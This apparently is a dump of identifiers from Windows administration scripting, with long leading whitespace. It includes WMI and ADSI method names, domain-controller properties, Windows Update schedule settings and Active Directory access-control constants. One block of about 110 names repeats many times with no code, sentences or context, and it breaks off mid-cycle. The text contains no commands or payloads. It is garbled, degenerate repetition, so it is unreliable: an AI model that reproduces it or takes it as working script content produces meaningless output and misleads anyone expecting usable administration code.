                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      GetObject

                                                                                                                                                      Get

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      CreateObject

                                                                                                                                                      Trustee

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      ObjectType

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AddAce

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      SetInfo

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      Echo

                                                                                                                                                      CreateObject

                                                                                                                                                      Settings

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      Save

                                                                                                                                                      GetObject

                                                                                                                                                      ExecQuery

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

